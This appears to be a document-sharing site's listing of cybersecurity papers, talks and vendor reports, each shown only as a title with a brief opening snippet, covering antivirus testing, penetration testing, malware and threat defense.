Turning your managed Anti-Virus into my Botnet Jérôme NOKIN http://funoverip.net About me # id Jérôme Nokin http://funoverip.net jerome.nokin@gmail.com # job Penetration Tester Verizon Enterprise Solutions
McAfee. Anti-Malware Detection Rates Comparative Testing. September 2008. McAfee Anti-Malware Detection Rates Comparative Testing
September 2008 McAfee Anti-Malware Detection Rates Comparative Testing www. westcoastlabs.com 1 Vendor Details Vendor Name: McAfee Vendor Address: Dr.Solomons Software Ltd, Alton House, Gatehouse Way,
Security Industry Market Share Analysis
Security Industry Market Share Analysis September 2011 Introduction The Research OPSWAT releases quarterly market share reports for several sectors of the security industry. This quarter s report includes
Cyber Exploits: Improving Defenses Against Penetration Attempts
Cyber Exploits: Improving Defenses Against Penetration Attempts Mark Burnette, CPA, CISA, CISSP, CISM, CGEIT, CRISC, QSA LBMC Security & Risk Services Today s Agenda Planning a Cyber Defense Strategy How
Summer Training Program 2016. CCSE V3.0 Certified Cyber Security Expert Version 3.0
Summer Training Program 2016 CCSE V3.0 Certified Cyber Security Expert Version 3.0 TechD Facts Incorporated in November 2009 Trained more than 50,000 students, conducted 400 Workshops Including all IITs,
CrashPlan Security SECURITY CONTEXT TECHNOLOGY
TECHNICAL SPECIFICATIONS CrashPlan Security CrashPlan is a continuous, multi-destination solution engineered to back up mission-critical data whenever and wherever it is created. Because mobile laptops
Smart home appliance security and malware
Smart home appliance security and malware om Jeong wook (Matt) Oh HP Security Research, September 2014 Why Smart TV? The most popular smart device in real life TVs are everywhere If you bought a new TV
Real World and Vulnerability Protection, Performance and Remediation Report
Real World and Vulnerability Protection, Performance and Remediation Report A test commissioned by Symantec Corporation and performed by AV-Test GmbH Date of the report: September 17 th, 2014, last update:
MRG Effitas Online Banking / Browser Security Assessment Project Q2 2013 Results
MRG Effitas Online Banking / Browser Security Assessment Project Q2 2013 Results 1 Contents: Introduction 3 The Purpose of this Project 3 Tests employed 3 Security Applications Tested 4 Methodology Used
Security Industry Market Share Analysis
Security Industry Market Share Analysis December Introduction The Research OPSWAT releases quarterly market share reports for several sectors of the security industry. This report includes both worldwide
Penetration Testing Using The Kill Chain Methodology
Penetration Testing Using The Kill Chain Methodology Presented by: Rupert Edwards This course is intended for a technically astute audience.this course is 98% hands on.the attendee should have some basic
avast! Business products 2012
avast! Business products 2012 Introducing the new features and technologies in the latest lineup of avast! security solutions for business. Content 1. Why avast! is different 2. avast! business software
Web Application Security Payloads. Andrés Riancho Director of Web Security OWASP AppSec USA 2011 - Minneapolis
Web Application Security Payloads Andrés Riancho Director of Web Security OWASP AppSec USA 2011 - Minneapolis Topics Short w3af introduction Automating Web application exploitation The problem and how
Automation of Post-Exploitation
Automation of Post-Exploitation (Focused on MS-Windows Targets) Mohammad Tabatabai Irani and Edgar R. Weippl Secure Business Austria, Favoritenstr. 16, A-1040 Vienna, Austria {mtabatabai,eweippl}@securityresearch.at
PROTECTION FOR SERVERS, WORKSTATIONS AND TERMINALS ENDPOINT SECURITY NETWORK SECURITY I ENDPOINT SECURITY I DATA SECURITY
PROTECTION FOR SERVERS, WORKSTATIONS AND TERMINALS ENDPOINT SECURITY NETWORK SECURITY I ENDPOINT SECURITY I DATA SECURITY FACT: WORKSTATIONS AND SERVERS ARE STILL AT RISK CONVENTIONAL TOOLS NO LONGER MEASURE
Fighting Advanced Threats
Fighting Advanced Threats With FortiOS 5 Introduction In recent years, cybercriminals have repeatedly demonstrated the ability to circumvent network security and cause significant damages to enterprises.
Release Notes for Websense Email Security v7.2
Release Notes for Websense Email Security v7.2 Websense Email Security version 7.2 is a feature release that includes support for Windows Server 2008 as well as support for Microsoft SQL Server 2008. Version
WildFire Overview. WildFire Administrator s Guide 1. Copyright 2007-2015 Palo Alto Networks
WildFire Overview WildFire provides detection and prevention of zero-day malware using a combination of malware sandboxing and signature-based detection and blocking of malware. WildFire extends the capabilities
Top 12 Cyber Threats for Macintosh and PC Users
Top 12 Cyber Threats for Macintosh and PC Users Who is encompass? We are a team of business technologists dedicated to the unique needs of credit unions and regulated SMBs operating in a highly secure
Dumping Windows Password Hashes Using Metasploit
Dumping Windows Password Hashes Using Metasploit Exercise 1: Using Meterpreter to Dump Windows Password Hashes: in the following exercise, you will use the built-in capability of the Meterpreter payload
Computer Security DD2395
Computer Security DD2395 http://www.csc.kth.se/utbildning/kth/kurser/dd2395/dasakh11/ Fall 2011 Sonja Buchegger buc@kth.se Lecture 7 Malicious Software DD2395 Sonja Buchegger 1 Course Admin Lab 2: - prepare
Cyber Security in Taiwan's Government Institutions: From APT To. Investigation Policies
Cyber Security in Taiwan's Government Institutions: From APT To Investigation Policies Ching-Yu, Hung Investigation Bureau, Ministry of Justice, Taiwan, R.O.C. Abstract In this article, we introduce some
Author: Sumedt Jitpukdebodin. Organization: ACIS i-secure. Email ID: materaj@gmail.com. My Blog: http://r00tsec.blogspot.com
Author: Sumedt Jitpukdebodin Organization: ACIS i-secure Email ID: materaj@gmail.com My Blog: http://r00tsec.blogspot.com Penetration Testing Linux with brute force Tool. Sometimes I have the job to penetration
Fortinet Advanced Threat Protection- Part 3
Fortinet Advanced Threat Protection- Part 3 Upgrading Your Endpoint Security to Meet Advanced Threats Copyright Fortinet Inc. All rights reserved. Agenda Brief Recap on Breaches and the Need for Advanced
SANS Top 20 Critical Controls for Effective Cyber Defense
WHITEPAPER SANS Top 20 Critical Controls for Cyber Defense SANS Top 20 Critical Controls for Effective Cyber Defense JANUARY 2014 SANS Top 20 Critical Controls for Effective Cyber Defense Summary In a
McAfee Advanced Threat Defense 3.6.0
Release Notes McAfee Advanced Threat Defense 3.6.0 Revision C Contents About this release New Features Enhancements Resolved issues Installation and upgrade notes Known issues Product documentation About
Web Application Firewall Profiling and Evasion. Michael Ritter Cyber Risk Services Deloitte
Web Application Firewall Profiling and Evasion Michael Ritter Cyber Risk Services Deloitte Content 1. Introduction 2. WAF Basics 3. Identifying a WAF 4. WAF detection tools 5. WAF bypassing methods 6.
Emerging Network Security Threats and what they mean for internal auditors. December 11, 2013 John Gagne, CISSP, CISA
Emerging Network Security Threats and what they mean for internal auditors December 11, 2013 John Gagne, CISSP, CISA 0 Objectives Emerging Risks Distributed Denial of Service (DDoS) Attacks Social Engineering
Advanced SQL injection to operating system full control
Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães Black Hat Briefings Europe Amsterdam (NL) April 16, 2009 Who I am Bernardo Damele Assumpção Guimarães: Proud
The Advanced Attack Challenge. Creating a Government Private Threat Intelligence Cloud
The Advanced Attack Challenge Creating a Government Private Threat Intelligence Cloud The Advanced Attack Challenge One of the most prominent and advanced threats to government networks is advanced delivery
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
Rational AppScan & Ounce Products
IBM Software Group Rational AppScan & Ounce Products Presenters Tony Sisson and Frank Sassano 2007 IBM Corporation IBM Software Group The Alarming Truth CheckFree warns 5 million customers after hack http://infosecurity.us/?p=5168
Contents Who Should Read this Book... 3 Credits:... 3 Introduction and background... 3 Lab Setup... 3 A primer on windows user privileges...
Contents Who Should Read this Book... 3 Credits:... 3 Introduction and background... 3 Lab Setup... 3 A primer on windows user privileges... 4 Standard user:... 5 Administrator... 5 SYSTEM... 5 User Access